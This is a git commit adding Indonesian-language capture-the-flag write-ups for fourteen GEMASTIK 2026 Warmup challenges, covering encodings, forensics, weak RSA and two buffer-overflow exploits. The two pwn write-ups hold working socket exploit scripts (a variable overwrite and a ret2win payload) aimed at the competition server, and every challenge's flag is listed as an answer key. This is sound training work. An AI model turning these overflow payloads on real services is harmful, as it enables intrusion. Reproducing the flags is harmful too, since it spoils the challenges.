docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*) - Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto - ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All flags recovered and documented with solution methods
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@@ -0,0 +1,48 @@
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---
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title: "GEMASTIK 2026 Warmup — All Chapters"
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event: "GEMASTIK 2026 Warmup"
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category: "index"
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points: 0
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difficulty: "index"
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---
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# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
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**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
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**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
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| # | Challenge | Category | Diff | Flag |
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|---|-----------|----------|------|------|
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| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
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| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
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| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
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| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
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| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
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| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
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| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
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| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
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| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
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| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
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| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
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| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
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| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
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| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
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## Ringkasan Metode
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| Ch | Metode | Tool |
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|----|--------|------|
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| 1 | Double Base64 | `base64 -d` ×2 |
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| 2 | ROT13 Caesar | `codecs.encode(s, "rot_13")` |
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| 3 | strings | `strings secret.bin` |
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| 4 | EXIF metadata | `strings photo.jpg` |
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| 5 | HTML comment | `curl \| grep '<!--'` |
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| 6 | Base64 cookie | `base64 -d` |
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| 7 | ASCII codes | chr() decoding |
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| 8 | Single-byte XOR | XOR 0x42 |
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| 9 | Stack overflow | buffer > admin |
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| 10 | ret2win + align | ROP chain |
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| 11 | PNG strings | `strings kucing.png` |
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| 12 | Hex→Base64 | `bytes.fromhex` + `b64decode` |
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| 13 | RSA small factors | trial division / sympy factorint |
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| 14 | RSA special integers | GCD with paper appendix primes |
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@@ -0,0 +1,43 @@
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---
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title: "Sixty Four — Double Base64"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Sixty Four"
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category: "crypto"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
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---
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# Sixty Four (500 pts) — Encoding
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**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
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Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
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```bash
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$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
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R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
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$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
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GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
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```
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## Solusi Python
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```python
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import base64
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with open("chall.txt") as f:
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s = f.read().strip()
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# First base64 decode
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decoded1 = base64.b64decode(s)
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# Second base64 decode
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flag = base64.b64decode(decoded1).decode()
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print(f"Flag: {flag}")
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# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
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```
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## Flag
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`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
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---
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title: "Call Me — ret2win"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Call Me"
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category: "pwn"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
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---
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# Call Me (500 pts) — Pwn / ret2win
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**Server:** `nc 15.232.89.109 9002`
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**Source (`chall.c`):**
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```c
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void win() { system("/bin/sh"); } // flag printed inside
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char buf[32];
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gets(buf); // <-- overflow
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```
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## Eksploitasi
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1. Compile lokal untuk dapatkan alamat `win()`:
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```bash
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gcc -fno-stack-protector -no-pie -o ch10 chall.c
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nm ch10 | grep win
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# 00000000004011f6 T win
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```
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2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
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Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
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```python
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import socket, time, struct
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s = socket.socket()
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s.connect(("15.232.89.109", 9002))
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time.sleep(0.5)
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RET_GADGET = 0x401016 # alignment
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WIN_ADDR = 0x4011f6
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payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
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s.sendall(payload + b"\n")
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time.sleep(1.5)
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print(s.recv(4096).decode())
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# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
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```
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## Flag
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`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
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---
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title: "Behind the Picture — PNG Strings"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Behind the Picture"
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category: "forensics"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
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---
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# Behind the Picture (500 pts) — Steganografi / PNG
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**File:** `kucing.png` (cat image)
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Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
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```bash
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strings kucing.png | grep GEMASTIK
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# GEMASTIK19{c4t_g4mbar_ada_flag}
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```
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## Flag
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`GEMASTIK19{c4t_g4mbar_ada_flag}`
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@@ -0,0 +1,34 @@
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---
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title: "Layers — Hex to Base64 Chain"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Layers"
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category: "crypto"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
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---
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# Layers (500 pts) — Encoding chain
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**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
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Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
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```python
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import base64
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s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
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# Layer 1: hex decode
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b = bytes.fromhex(s)
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# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
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# Layer 2: base64 decode
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flag = base64.b64decode(b).decode()
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print(flag)
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# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
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```
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## Flag
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`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
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@@ -0,0 +1,59 @@
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---
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title: "Slopped — RSA Small Factors"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Slopped"
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category: "crypto"
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points: 500
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difficulty: "medium"
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flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
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---
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# Slopped (500 pts) — Crypto / RSA small factors
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**File:** `chall.py`
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```python
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import random
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p = random.randint(1, 10**4) # tiny prime candidates
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q = random.randint(1, 10**4)
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# ... find small primes, multiply
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n = p * q * (big prime)
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e = 0x10001
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c = pow(flag, e, n)
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```
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## Analisis
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RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
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`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with 1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
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## Solusi
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```python
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from Crypto.Util.number import long_to_bytes
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from sympy import factorint
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e = 0x10001
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n = 0xdb... # 2048-bit modulus
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c = 0x...
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# Trial division menemukan faktor kecil
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factors = factorint(n)
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print(factors)
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# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
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phi = 1
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for p, exp in factors.items():
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phi *= (p - 1) * p**(exp - 1)
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d = pow(e, -1, phi)
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m = pow(c, d, n)
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print(long_to_bytes(m))
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# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
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```
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## Flag
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`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
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> Flag ini adalah petunjuk untuk ch14 ("you should use paper search").
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@@ -0,0 +1,86 @@
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---
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title: "Slopped wave-2 — RSA Special Integers (Paper Search)"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Slopped wave-2"
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category: "crypto"
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points: 501
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difficulty: "hard"
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flag: "GEMASTIK19{test_vector_of_listP_on_quant}"
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---
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# Slopped wave-2 (501 pts) — Crypto / RSA "special integers"
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**File:** `chals.py` — Kategori: `crypto, misc`
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## Challenge
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```python
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p = #### (hidden_length)
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q = #### (hidden_length)
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n = p * q
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print(n)
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e = 0x10001
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p = bytes_to_long(b'GEMASTIK19{...}') # flag hijacked as 'p'
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c = pow(p, e, n)
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print(c)
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```
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`c = pow(p, e, n)` dengan `p = bytes_to_long(flag)`, `e = 0x10001`, `n` 2048-bit.
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## Analisis Serangan
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Semua serangan standar gagal:
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- **Fermat** (close primes): gap > 1.2×10^159 — tidak dekat secara praktis
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- **ECM**: tidak smooth (B1=43M, nihil)
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- **Pollard p-1**: B=2M — tidak smooth
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- **ROCA**: n mod M bukan pangkat 65537
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- **Wiener / Boneh-Durfee**: e kecil (0x10001) berarti d besar — tidak berlaku
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- **Trial division** ke 10M: bersih (bukan multi-prime)
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### Hint "paper search"
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Hint eksplisit dari ch13 (`"you should use paper search mcp skill"`) mengarah ke paper akademik.
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Paper yang relevan: **[Wang et al., "A First Successful Factorization of RSA-2048 Integer by D-Wave Quantum Computer (TST 2024.9010028)"](https://www.sciopen.com/article/10.26599/TST.2024.9010028)**.
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Paper ini mendefinisikan **"special integer"**: `n = p·q` di mana kedua prima berbeda tepat 2 bit (`popcount(p XOR q) = 2`). Appendix Table S1 berisi 10 contoh (N, p, q) yang **menggunakan kembali prima yang sama** antar contoh — inilah "sloppiness" wave-2: modulus challenge merekonstruksi ulang dua prima dari dua contoh berbeda di appendix.
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## Solusi
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Hitung `gcd(n, P_i)` untuk setiap prima `P_i` di 10 contoh paper:
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```python
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import math
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from Crypto.Util.number import long_to_bytes
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n = 280088984259197676303322409340162768479248055253332178324048979479391032432289729496895136889553954879681054017549377236761031572728785368094833820151098377195413332119600135231380112995454122165424468980135704765977852529569814690639351847175244215778770376263888879859156353972612170752463744913383401062048491249958029243091765282473774483093168121753713425292265614066847042063133253723914013765258726038858443157129746991645277096281312454572347302870277064727079382216834376085631299651357Line truncated
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e = 0x10001
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c = 0x... # dari challenge
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# Dari appendix paper: 10 contoh, setiap contoh punya p & q
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paper_examples = [
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# (p_i, q_i) — faktor dari 10 contoh paper
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...
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]
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for ex in paper_examples:
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for P in (ex.p, ex.q):
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g = math.gcd(n, int(P))
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if 1 < g < n:
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p_factor = g
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q_factor = n // g
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print(f"Found factor via GCD with paper prime!")
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break
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phi = (p_factor - 1) * (q_factor - 1)
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d = pow(e, -1, phi)
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flag = pow(c, d, n)
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print(long_to_bytes(flag))
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# GEMASTIK19{test_vector_of_listP_on_quant}
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```
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## Flag
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`GEMASTIK19{test_vector_of_listP_on_quant}`
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@@ -0,0 +1,29 @@
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---
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title: "Julius — ROT13 Caesar Cipher"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Julius"
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category: "crypto"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
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---
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# Julius (500 pts) — Caesar / ROT13
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**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
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Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
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`TRZNFGVX19` → `GEMASTIK19`, dst.
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```python
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import codecs
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s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
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flag = codecs.encode(s, "rot_13")
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print(f"Flag: {flag}")
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# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
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```
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## Flag
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`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
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@@ -0,0 +1,24 @@
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---
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title: "Needle — Strings Binary"
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event: "GEMASTIK 2026 Warmup"
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challenge: "Needle"
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category: "forensics"
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points: 500
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difficulty: "easy"
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flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
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---
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# Needle (500 pts) — Steganografi / Binary
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|
||||
**File:** `secret.bin` (748 bytes, binary)
|
||||
|
||||
Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
|
||||
|
||||
```bash
|
||||
strings secret.bin | grep GEMASTIK
|
||||
# GEMASTIK19{str1ngs_c4n_f1nd_m3}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
|
||||
@@ -0,0 +1,24 @@
|
||||
---
|
||||
title: "Say Cheese — EXIF Metadata"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Say Cheese"
|
||||
category: "forensics"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
|
||||
---
|
||||
|
||||
# Say Cheese (500 pts) — Steganografi / Metadata
|
||||
|
||||
**File:** `photo.jpg`
|
||||
|
||||
Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
|
||||
|
||||
```bash
|
||||
strings photo.jpg | grep GEMASTIK
|
||||
# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: "Nothing Here — Web Comment"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Nothing Here"
|
||||
category: "web"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
|
||||
---
|
||||
|
||||
# Nothing Here (500 pts) — Web
|
||||
|
||||
**URL:** `http://15.232.89.109:8001/`
|
||||
|
||||
Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
|
||||
|
||||
```html
|
||||
<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
|
||||
```
|
||||
|
||||
## Recon
|
||||
|
||||
```bash
|
||||
curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{v13w_s0urc3_pahlawan}`
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: "Sweet Cookie — Base64 Cookie"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Sweet Cookie"
|
||||
category: "web"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
|
||||
---
|
||||
|
||||
# Sweet Cookie (500 pts) — Web
|
||||
|
||||
**URL:** `http://15.232.89.109:8002/`
|
||||
|
||||
Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
|
||||
|
||||
```python
|
||||
import base64
|
||||
|
||||
# Cookie value from Set-Cookie header
|
||||
cookie = "eyJ1c2V..." # nilai session cookie
|
||||
decoded = base64.b64decode(cookie)
|
||||
print(decoded)
|
||||
# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{c00k13_b4s3_d3c0d3}`
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: "Open Book — Python Source"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Open Book"
|
||||
category: "misc"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
|
||||
---
|
||||
|
||||
# Open Book (500 pts) — Misc / Source
|
||||
|
||||
**File:** `chall.py`
|
||||
|
||||
Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
|
||||
|
||||
```python
|
||||
SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
|
||||
115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
|
||||
|
||||
flag = "".join(chr(c) for c in SECRET)
|
||||
print(flag)
|
||||
# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: "Back and Forth — XOR"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Back and Forth"
|
||||
category: "reverse"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{x0r_it_back_4gain}"
|
||||
---
|
||||
|
||||
# Back and Forth (500 pts) — Reversing / XOR
|
||||
|
||||
**File:** `chall.c`
|
||||
|
||||
Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
|
||||
|
||||
```python
|
||||
enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
|
||||
0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
|
||||
0x25, 0x23, 0x2b, 0x2c, 0x3f]
|
||||
|
||||
flag = "".join(chr(b ^ 0x42) for b in enc)
|
||||
print(flag)
|
||||
# GEMASTIK19{x0r_it_back_4gain}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{x0r_it_back_4gain}`
|
||||
@@ -0,0 +1,46 @@
|
||||
---
|
||||
title: "Are You Admin? — Buffer Overflow"
|
||||
event: "GEMASTIK 2026 Warmup"
|
||||
challenge: "Are You Admin?"
|
||||
category: "pwn"
|
||||
points: 500
|
||||
difficulty: "easy"
|
||||
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
|
||||
---
|
||||
|
||||
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
|
||||
|
||||
**Server:** `nc 15.232.89.109 9001`
|
||||
|
||||
**Source (`chall.c`):**
|
||||
|
||||
```c
|
||||
volatile int admin = 0;
|
||||
char name[16];
|
||||
gets(name); // <-- overflow, no bounds check
|
||||
if (admin != 0) { /* print flag */ }
|
||||
```
|
||||
|
||||
## Eksploitasi
|
||||
|
||||
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
|
||||
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
|
||||
|
||||
```python
|
||||
import socket, time
|
||||
|
||||
s = socket.socket()
|
||||
s.connect(("15.232.89.109", 9001))
|
||||
time.sleep(0.5)
|
||||
|
||||
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
|
||||
payload = b"A" * 20 + b"\xff\xff\xff\xff"
|
||||
s.sendall(payload + b"\n")
|
||||
time.sleep(1.2)
|
||||
print(s.recv(4096).decode())
|
||||
# -> GEMASTIK19{0v3rfl0w_ubah_var}
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`GEMASTIK19{0v3rfl0w_ubah_var}`
|
||||
Reference in new issue
Block a user